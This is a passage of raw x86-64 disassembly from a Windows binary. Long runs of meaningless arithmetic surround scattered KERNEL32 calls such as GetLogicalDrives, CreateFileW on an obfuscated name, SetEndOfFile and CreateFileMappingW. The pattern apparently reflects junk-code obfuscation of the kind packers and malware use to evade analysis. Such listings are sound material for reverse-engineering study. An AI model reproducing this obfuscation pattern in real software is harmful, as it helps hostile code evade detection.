movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x36d0], ax
movzx eax, byte [rsp + 0x78d]
mov rcx, qword [rsp + 0x19e38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb3b], al
lea rax, [0x1402ad720]
mov qword [rsp + 0x19e88], rax
mov eax, dword [rsp + 0x909c]
mov ecx, dword [rsp + 0xd094]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad2c], eax
lea rax, [rsp + 0xce88]
mov qword [rsp + 0x19e90], rax
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd268]
shr eax, cl
mov dword [rsp + 0xd17c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movzx eax, word [rsp + 0x1ea4]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x19e38]
movzx eax, byte [rax]
mov byte [rsp + 0x7d5], al
mov rax, qword [rsp + 0x19a48]
mov rcx, qword [0x1402bf6c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcfc8], eax
lea rax, [rsp + 0xd008]
mov qword [rsp + 0x19e98], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19c88]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402acba2], al
movsx eax, word [rsp + 0x378c]
movsx ecx, word [0x1402ad2f8]
and eax, ecx
mov word [rsp + 0x35ac], ax
movzx eax, byte [rsp + 0x785]
movzx ecx, byte [rsp + 0x787]
add eax, ecx
mov byte [rsp + 0x7c6], al
lea rax, [rsp + 0x35dc]
mov qword [rsp + 0x19ea0], rax
mov rax, qword [0x1402bf6c0]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd36c], eax
lea rax, [rsp + 0xb8d8]
mov qword [rsp + 0x19ea8], rax
mov eax, dword [rsp + 0xcf98]
mov ecx, dword [rsp + 0xcdd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7eec], eax
mov eax, dword [rsp + 0xcd58]
mov ecx, dword [0x1402ad6c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc6c4], eax
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d4], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd200], eax
mov rax, qword [rsp + 0x19c98]
mov ecx, dword [rsp + 0xc538]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd384], eax
movzx eax, word [rsp + 0x3640]
movzx ecx, word [rsp + 0x35e4]
add eax, ecx
mov rcx, qword [rsp + 0x19dc8]
mov word [rcx], ax
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x414]
and eax, ecx
mov byte [0x1402acb47], al
lea rax, [rsp + 0xd12c]
mov qword [rsp + 0x19eb0], rax
mov rax, qword [rsp + 0x19ca0]
mov rcx, qword [rsp + 0x19d98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd2c4], eax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov dword [rsp + 0xd38c], eax
mov rax, qword [rsp + 0x19db8]
mov rcx, qword [rsp + 0x19eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8544], eax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7c4], al
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
mov word [rsp + 0x379c], ax
movsx eax, byte [rsp + 0x1d3]
movsx ecx, byte [rsp + 0x78b]
sar eax, cl
mov byte [rsp + 0x7b9], al
movsx eax, word [0x1402ad2f8]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2f94], ax
mov rax, qword [rsp + 0x19a20]
mov rcx, qword [rsp + 0x19eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x1402bf760]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19750]
mov rcx, qword [rsp + 0x19ca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd19c], eax
movzx eax, byte [rsp + 0x2a1]
mov rcx, qword [rsp + 0x19b78]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7bf], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov word [rsp + 0x37a0], ax
mov rax, qword [rsp + 0x19d70]
mov rcx, qword [0x1402bf718]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce18], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x19778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
mov dword [rsp + 0xd390], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb710], eax
mov eax, dword [rsp + 0xcef4]
mov ecx, dword [rsp + 0xce64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19b18]
mov dword [rcx], eax
lea rdx, [rsp + 0x19eb8]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcfb4], eax
lea rax, [rsp + 0x2dd4]
mov qword [rsp + 0x19ec0], rax
movzx eax, byte [rsp + 0x78c]
mov byte [0x1402bf61e], al
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xa990]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd34c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd200], eax
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x874c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0c8], eax
mov rax, qword [rsp + 0x19b90]
mov ecx, dword [rsp + 0x9f6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd384], eax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov dword [rsp + 0xd394], eax
mov eax, dword [rsp + 0xb984]
mov ecx, dword [rsp + 0xd008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd018], eax
movsx eax, byte [rsp + 0x790]
movsx ecx, byte [rsp + 0x475]
and eax, ecx
mov byte [rsp + 0x3e7], al
lea rax, [rsp + 0x3778]
mov qword [rsp + 0x19ec8], rax
movzx eax, word [rsp + 0x35c4]
movzx ecx, word [rsp + 0x3678]
imul eax, ecx
mov rcx, qword [rsp + 0x19e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402bf720]
sar eax, cl
mov byte [0x1402acb63], al
lea rax, [rsp + 0xd204]
mov qword [rsp + 0x19ed0], rax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xae44], eax
movzx eax, word [rsp + 0x3688]
mov rcx, qword [0x1402bf668]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3764], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov byte [rsp + 0x7d6], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcebc], eax
mov rax, qword [rsp + 0x19d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf98]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd31c], eax
mov rax, qword [rsp + 0x19bf8]
mov ecx, dword [0x1402ad644]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8ac0], eax
mov rax, qword [rsp + 0x19d98]
mov rcx, qword [rsp + 0x19e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8d5c], eax
mov rax, qword [rsp + 0x19cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa304]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd360], eax
mov r9d, 2
lea r8, [rsp + 0x19eb8]
mov rdx, qword [rsp + 0x19ed8]
mov rcx, qword [rsp + 0x19c18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xcd50], eax
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3688]
imul eax, ecx
mov word [0x1402ad72c], ax
movzx eax, byte [rsp + 0x766]
mov byte [rsp + 0x7d7], al
mov rax, qword [rsp + 0x19e68]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcefc], eax
mov eax, dword [0x1402ad658]
mov dword [rsp + 0xd398], eax
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x372c], ax
lea rax, [rsp + 0x79e]
mov qword [rsp + 0x19ee0], rax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7bc], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov dword [rsp + 0xd39c], eax
mov rax, qword [rsp + 0x19b18]
mov ecx, dword [rsp + 0xd124]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad730], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa528], eax
mov rax, qword [rsp + 0x19db8]
mov ecx, dword [0x1402bf6f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9058], eax
mov eax, dword [rsp + 0xcfd4]
mov ecx, dword [rsp + 0xa304]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2cc], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3045
mov rcx, qword [rsp + 0x19b00]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcce0], eax
movzx eax, word [rsp + 0x36fc]
movzx ecx, word [rsp + 0x2644]
cdq
idiv ecx
mov word [rsp + 0x35c4], ax
movzx eax, byte [rsp + 0x632]
mov byte [rsp + 0x7d8], al
mov eax, dword [rsp + 0x8940]
mov ecx, dword [rsp + 0xc6c4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf90], eax
mov eax, dword [rsp + 0xb2e4]
mov dword [rsp + 0xd3a0], eax
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19b90]
mov qword [rsp + 0x19ee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19ee8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd2fc], eax
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd130]
shl eax, cl
mov rcx, qword [0x1402bf6c8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x36e8]
mov rcx, qword [0x1402bf6d0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3600], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c7]
imul eax, ecx
mov byte [rsp + 0x2fd], al
mov rax, qword [rsp + 0x19890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3760], ax
mov rax, qword [rsp + 0x19c88]
movzx eax, byte [rax]
mov byte [rsp + 0x7d9], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xccdc], eax
mov rax, qword [rsp + 0x19dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd204]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd12c], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x838c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19780]
mov dword [rcx], eax
mov rax, qword [0x1402bf6d0]
movzx eax, word [rax]
mov word [rsp + 0x37a4], ax
movzx eax, byte [rsp + 0x799]
mov rcx, qword [rsp + 0x19d90]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x3be], al
mov rax, qword [0x1402bf670]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x914c]
and ecx, eax
mov eax, ecx
mov dword [0x1402bf654], eax
mov rax, qword [rsp + 0x19c10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e5c], eax
mov eax, dword [rsp + 0xd048]
mov ecx, dword [rsp + 0xd210]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0c4], eax
lea rax, [0x1402ad68c]
mov qword [rsp + 0x19ef0], rax
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a30], ax
movzx eax, byte [rsp + 0x60a]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x792], al
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov dword [rsp + 0xd3a4], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd230]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfb8], eax
mov rax, qword [rsp + 0x19ef0]
mov eax, dword [rax]
mov dword [rsp + 0xd3a8], eax
mov eax, dword [0x1402ad708]
mov ecx, dword [rsp + 0xcf28]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad734], eax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x198e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd00c], eax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79c]
shl eax, cl
mov byte [rsp + 0x7b1], al
mov rax, qword [rsp + 0x19dd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3150]
sar eax, cl
mov word [rsp + 0x326c], ax
movzx eax, word [rsp + 0x36a0]
mov rcx, qword [rsp + 0x19a28]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3758], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd0b0], eax
mov rax, qword [rsp + 0x19e38]
movzx eax, byte [rax]
mov byte [rsp + 0x7da], al
mov rax, qword [rsp + 0x19a90]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9c14], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xceb4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19b18]
mov dword [rcx], eax
movzx eax, word [rsp + 0x252c]
mov word [rsp + 0x37a8], ax
movzx eax, byte [rsp + 0x796]
movzx ecx, byte [rsp + 0x7b5]
add eax, ecx
mov byte [0x1402acb8e], al
mov rax, qword [rsp + 0x19e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf14], eax
mov eax, dword [rsp + 0x9148]
mov dword [rsp + 0xd3ac], eax
mov rax, qword [rsp + 0x19d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcef4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce88], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x2d410]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xcd28], eax
mov rax, qword [rsp + 0x19e88]
mov rcx, qword [0x1402bf670]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xafcc], eax
movzx eax, word [rsp + 0x35f4]
imul eax, eax, 0xba0
mov word [rsp + 0x37a4], ax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c3]
sub eax, ecx
mov byte [rsp + 0x7ca], al
lea rax, [0x1402ad6fc]
mov qword [rsp + 0x19ef8], rax
mov eax, dword [rsp + 0xd360]
mov ecx, dword [rsp + 0x8940]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x99ac], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd0e8], eax
mov rax, qword [rsp + 0x19800]
movzx eax, word [rax]
mov word [0x1402bf61c], ax
mov rax, qword [rsp + 0x198c8]
movzx eax, byte [rax]
mov byte [rsp + 0x7db], al
movzx eax, word [0x1402bf758]
movzx ecx, word [rsp + 0x3650]
add eax, ecx
mov word [rsp + 0x3780], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7a2], al
lea rax, [rsp + 0xd110]
mov qword [rsp + 0x19f00], rax
mov eax, dword [rsp + 0xd198]
movzx ecx, al
mov eax, dword [rsp + 0xd314]
shl eax, cl
mov dword [rsp + 0xc93c], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xd3b0], eax
mov rcx, qword [rsp + 0x19cb0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd3b4], eax
mov eax, dword [rsp + 0xce6c]
mov ecx, dword [rsp + 0xd1fc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d94]
mov rcx, qword [0x1402bf750]
mov qword [rsp + 0x19f08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19f08]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x91bc], eax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b8]
xor eax, ecx
mov byte [rsp + 0x5b9], al
mov rax, qword [0x1402bf688]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37a0]
imul eax, ecx
mov word [0x1402ad72c], ax
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2d0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd398]
mov dword [rsp + 0xd3b8], eax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x19ab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7eec], eax
mov rax, qword [rsp + 0x19db8]
mov rcx, qword [rsp + 0x19e68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd364], eax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
mov byte [rsp + 0x7dc], al
mov rax, qword [0x1402bf700]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2424], ax
movsx eax, byte [rsp + 0x7a5]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4dd], al
movsx eax, word [rsp + 0x3704]
movsx ecx, word [0x1402ad2f8]
add eax, ecx
mov word [rsp + 0x3760], ax
mov rax, qword [rsp + 0x19ef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcea0]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad738], eax
mov edx, 0x298
mov rcx, qword [rsp + 0x19a80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xcf24], eax
lea rax, [rsp + 0xcef4]
mov qword [rsp + 0x19f10], rax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x206], al
mov rax, qword [rsp + 0x19ea0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x32a4], ax
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov dword [rsp + 0xd3bc], eax
mov rcx, qword [rsp + 0x19e20]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd3c0], eax
mov eax, dword [rsp + 0xb2e4]
mov ecx, dword [0x1402ad630]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8354], eax
lea rax, [rsp + 0xd0a8]
mov qword [rsp + 0x19f18], rax
mov rax, qword [rsp + 0x19d98]
mov rcx, qword [rsp + 0x19ca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc658], eax
movzx eax, word [0x1402bf758]
movzx ecx, word [rsp + 0x1c3c]
or eax, ecx
mov rcx, qword [rsp + 0x19dc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x796]
shl eax, cl
mov byte [0x1402acba3], al
mov eax, dword [rsp + 0xd344]
mov dword [rsp + 0xd3c4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd304], eax
mov rax, qword [0x1402bf718]
mov ecx, dword [rsp + 0xd2b0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19cf8]
mov dword [rcx], eax
lea rax, [rsp + 0xd2d8]
mov qword [rsp + 0x19f20], rax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c60]
mov qword [rsp + 0x19f28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19f28]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x19c98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19b18]
mov ecx, dword [rsp + 0x9148]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcb44], eax
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3624]
sub eax, ecx
mov word [rsp + 0x1bc8], ax
movsx eax, byte [rsp + 0x4ab]
movsx ecx, byte [rsp + 0x7d9]
sub eax, ecx
mov rcx, qword [rsp + 0x199d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x25b8]
mov word [rsp + 0x37ac], ax
movzx eax, byte [rsp + 0x79d]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [0x1402bf61e], al
mov eax, dword [rsp + 0x892c]
mov ecx, dword [0x1402ad6e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd120], eax
mov rax, qword [rsp + 0x19ed0]
mov ecx, dword [rsp + 0xcf9c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19e68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x7b2]
mov byte [rsp + 0x7dd], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19e10]
mov word [rcx], ax
mov eax, dword [rsp + 0xd238]
mov dword [rsp + 0xd3c8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x1402ad6b8]
mov ecx, dword [rsp + 0xa7a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd22c], eax
mov rax, qword [rsp + 0x19ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbb68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb664], eax
mov eax, dword [rsp + 0x874c]
mov rcx, qword [rsp + 0x19e08]
mov qword [rsp + 0x19f30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19f30]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcea8], eax
movzx eax, word [rsp + 0x3794]
mov word [0x1402bf61a], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd040], eax
movzx eax, byte [rsp + 0x7a1]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x78e], al
mov eax, dword [rsp + 0xce7c]
mov dword [rsp + 0xd3cc], eax
mov rax, qword [rsp + 0x19c60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd014]
shl eax, cl
mov rcx, qword [rsp + 0x19f10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2678]
mov word [rsp + 0x37b0], ax
movsx eax, byte [rsp + 0x7af]
mov rcx, qword [rsp + 0x19ee0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7a5], al
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb5b]
sub eax, ecx
mov byte [rsp + 0x17a], al
lea rax, [rsp + 0x3654]
mov qword [rsp + 0x19f38], rax
mov rax, qword [rsp + 0x19d58]
mov rcx, qword [rsp + 0x19f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd118], eax
mov rax, qword [0x1402bf768]
mov rcx, qword [rsp + 0x19e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad6fc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcd9c], eax
mov rax, qword [rsp + 0x19df8]
mov ecx, dword [rsp + 0xcc18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa210], eax
mov rax, qword [rsp + 0x19d58]
mov ecx, dword [0x1402ad710]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19eb0]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.PWo8b3eDvqVpm0e
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19f40], rax
mov rax, qword [rsp + 0x19f10]
mov ecx, dword [rsp + 0xd114]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19938]
mov dword [rcx], eax
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov word [rsp + 0x37b4], ax
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a2], al
mov eax, dword [rsp + 0xcfa8]
mov dword [rsp + 0xd3d0], eax
mov rax, qword [rsp + 0x19a20]
mov ecx, dword [rsp + 0xd34c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf54], eax
mov rax, qword [0x1402bf638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd21c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8908], eax
mov eax, dword [rsp + 0xd150]
mov ecx, dword [rsp + 0xd000]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad6a4], eax
movzx eax, word [rsp + 0x3660]
movzx ecx, word [rsp + 0x3638]
imul eax, ecx
mov word [rsp + 0x3744], ax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c3]
shl eax, cl
mov byte [rsp + 0x7a2], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rax, [rsp + 0x3e7]
mov qword [rsp + 0x19f48], rax
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
movsx ecx, word [0x1402ad6f4]
xor eax, ecx
mov word [rsp + 0x3768], ax
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov dword [rsp + 0xd3d4], eax
mov rax, qword [rsp + 0x198e0]
mov ecx, dword [rsp + 0xac7c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd14c], eax
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [0x1402bf65e]
sar eax, cl
mov word [rsp + 0x3698], ax
lea rcx, [rsp + 0x19720]
